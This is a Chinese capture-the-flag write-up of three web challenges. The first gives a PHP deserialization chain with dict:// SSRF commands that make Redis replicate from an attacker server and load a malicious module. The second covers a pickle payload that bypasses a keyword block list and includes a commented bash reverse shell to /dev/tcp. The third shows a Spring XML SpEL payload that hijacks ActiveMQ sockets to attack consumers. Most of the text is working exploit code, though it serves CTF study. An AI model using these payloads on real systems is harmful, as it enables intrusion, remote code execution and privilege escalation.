February 10, 2024

2023年春秋杯网络安全联赛冬季赛 Web Writeup

ezezez_php

考点:Redis主从复制 rce、SSRF
这一题没环境复现了,直接发一下mochu的exp,这题我也没打,因为都在看ActiveMQ那道题,还没解出来是最草的,我太菜了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
<?php 
class Rd
{
public $ending;
public $cl;
public $poc;

public function __destruct(){
// echo "All matters have concluded"."</br>";
}

public function __call($name, $arg){
foreach ($arg as $key => $value) {
if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}

class Poc
{
public $payload;
public $fun;

public function __set($name, $value){
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod){
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}
}

class Er
{
public $symbol;
public $Flag;

public function __construct(){
$this->symbol = True;
}

public function __set($name, $value){
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}
}

class Ha
{
public $start;
public $start1;
public $start2;

public function __construct(){
// echo $this->start1 . "__construct" . "</br>";
}

public function __destruct(){
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
// echo "You are Good!"."</br>";
}
}
}

function get($url) {
// $url=base64_decode($url);
// var_dump($url);
// $ch = curl_init();
// curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_HEADER, 0);
// $output = curl_exec($ch);
// $result_info = curl_getinfo($ch);
// var_dump($result_info);
// curl_close($ch);
// var_dump($output);
}

// Ha::__destruct() -> Rd::__call() -> Er::__set() -> get()

// payload 按顺序发,公网上建好evil redis-server
// $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp";
// $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
// $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777";
// $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
// $payload = "dict://127.0.0.1:6379/slave:no:one";
$payload = "dict://127.0.0.1:6379/system.exec:env";
$Er = new Er();
$Er -> Flag = base64_encode($payload);
$Rd = new Rd();
$Rd -> cl = $Er;
$Ha = new Ha();
$Ha -> start = ['POC'=>'0.o'];
$Ha -> start1 = $Rd;
$Ha -> start2 = 'o.0';

echo(serialize($Ha));
?>

picup

考点:pickle反序列化、格式化字符串、任意文件读取
一个套题,题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- coding: utf-8 -*-
# @Time : 2024/1/20
# @Author : Boogipop
# @Github : http://github.com/Boogipop
# @File : demo.py
import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import waf

users=Users()

app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()

@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
if not session or not session.get('username'):
return redirect("login.php")
if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):
filepath=os.path.join("./uploads",filename)
request.files['file'].save(filepath)
return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."
return render_template("index.html")

@app.route('/login.php',methods=['GET','POST'])
def login():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and users.login(username,password):
session['username']=username
return "Login success! <a href='/'>Click here to redirect.</a>"
else:
return "Login fail!"
return render_template("login.html")

@app.route('/register.php',methods=['GET','POST'])
def register():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
else:
return "Register fail!"
return render_template("register.html")

@app.route('/pic.php',methods=['GET','POST'])
def pic():
if not session or not session.get('username'):
return redirect("login.php")
if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
if session.get('username')=="admin":
return pickle.load(open(filepath,"rb"))
else:
return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
res="<h1>files in ./uploads/</h1><br>"
for f in os.listdir("./uploads"):
res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"
return res

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

waf.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
from werkzeug.utils import secure_filename

def waf(content):

# content=file.read().lower()
if len(content)>=70:
return False

for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
if b in content:
return False

return secure_filename(content.filename)

首先是任意文件读取才可以读到源码,要双写绕过一下。之后可以发现有个session伪造、格式化字符串、pickle反序列化,一系列的叠加态,是一个不折不扣的套题。
至于绕过waf这里有2点,第一点是怎么绕过换行符,pickle.load有一个protocol选项,我们将其设置为4就不会出现换行,那么第二个点就是绕过关键字的问题,常规的os库,eval、exec都被ban了,这个时候也其实没啥问题,因为我们是flask框架,有render_template函数,所以exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle
from waf import waf
from flask import render_template

class Person(object):
def __init__(self, username, password):
self.username = username
self.password = password

def __reduce__(self):
# 未导入os模块,通用
# return (render_template, ('whoami',))
return (render_template, ('./uploads/l',))
#bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"
admin = Person('admin', '123456')
result = pickle.dumps(admin,protocol=4)
print(result)
print(len(result))
code=b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x10flask.templating\x94\x8c\x0frender_template\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
with open('data.pkl', 'wb') as file:
file.write(result)

格式化字符串漏洞在注册阶段,直接{users.passwords}就可以看到管理员密码

上传文件的内容也很简单,就设置一个模板语法反弹个shell,之后靶机有个clear.sh,是root权限运行的,我们修改一下文件内容,就可以提权得到flag
d6f6463095abb051fb099c5adf02dba4.png

Active-Takeaway

考点:ActiveMQ打consumer
参考文章:https://www.yulegeyu.com/
不知道为啥没搜到这文章,我科学上网出问题了怎么办
漏洞点很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.customer.controller;

import com.example.customer.entity.OrderEntity;
import com.example.customer.service.FoodService;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
import javax.annotation.Resource;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping({"/api"})
public class OrderController {
@Resource
private FoodService foodService;

public OrderController() {
}

@GetMapping({"/listorders"})
public List<OrderEntity> listOrders() {
return this.foodService.listOrders();
}

@GetMapping({"/makeorder"})
public Long makeOrder() {
return this.foodService.order();
}

@GetMapping({"/take/{id}"})
public Long take(@PathVariable Long id) {
return this.foodService.take(id);
}

@GetMapping({"/orderstatus/{id}"})
public OrderEntity orderStatus(@PathVariable Long id) {
return this.foodService.orderStatus(id);
}

@PostMapping({"/changefood"})
public String change(@RequestParam String foodServiceClassName, @RequestParam String name) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
Class foodServiceClass;
try {
foodServiceClass = Class.forName(foodServiceClassName);
} catch (ClassNotFoundException var5) {
foodServiceClass = Class.forName("com.example.customer.service.IronBeefNoodleService");
}

this.foodService = (FoodService)foodServiceClass.getDeclaredConstructor(String.class).newInstance(name);
return "Changed to " + foodServiceClassName + " with name " + name;
}
}

changefood有个任意类实例化的点位,但是需要绕过一下filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.customer.filter;

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;

@WebFilter(
filterName = "customerFilter",
urlPatterns = {"/api/*"}
)
public class CustomerFilter implements Filter {
public CustomerFilter() {
}

public void init(FilterConfig filterConfig) throws ServletException {
super.init(filterConfig);
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String uri = ((HttpServletRequest)request).getRequestURI().replaceAll("/api", "");
String endpoint = uri.replaceAll("/", "");
if (endpoint.equalsIgnoreCase("changefood")) {
response.getWriter().write("Under construction...");
} else {
chain.doFilter(request, response);
}
}

public void destroy() {
super.destroy();
}
}

我们最终触发的url是xxx/api/changefood;?foodServiceClassName=org.springframework.context.support.ClassPathXmlApplicationContext&name=http://xxxxx
POC长这个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">

<context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>

<bean class="java.lang.String">
<property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(&quot;function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){ brokerService = brokers.get(key); try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');} f.setAccessible(true); shutdownHook = f.get(brokerService); threadGroup = shutdownHook.getThreadGroup(); f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){ thread = threads[key]; if(thread == null){ continue; } threadName = thread.getName(); if(threadName.startsWith('ActiveMQ Transport: ')){ f = thread.getClass().getDeclaredField('target'); tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f)); f = tcpTransport.getClass().getDeclaredField('socket'); f.setAccessible(true); socket = f.get(tcpTransport); bos = new java.io.ByteArrayOutputStream(); dataOutput = new java.io.DataOutputStream(bos); dataOutput.writeInt(1); dataOutput.writeByte(31); bs = new org.apache.activemq.openwire.BooleanStream(); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(false); bs.writeBoolean(true); bs.writeBoolean(false); bs.marshal(dataOutput); dataOutput.writeUTF('bb'); dataOutput.writeUTF('aa'); dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext'); dataOutput.writeUTF('http://localhost:8000/dddd'); dataOutput.writeShort(0); socketOutputStream = socket.getOutputStream(); socketOutputStream.write(bos.toByteArray()); } } }&quot;)}"/>
</bean>
</beans>

这个先让外层的broker执行这段代码,然后这段代码中SPEL部分会劫持consumer和server的交互信息,从而让consumer也受到攻击从而RCE获取root权限。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp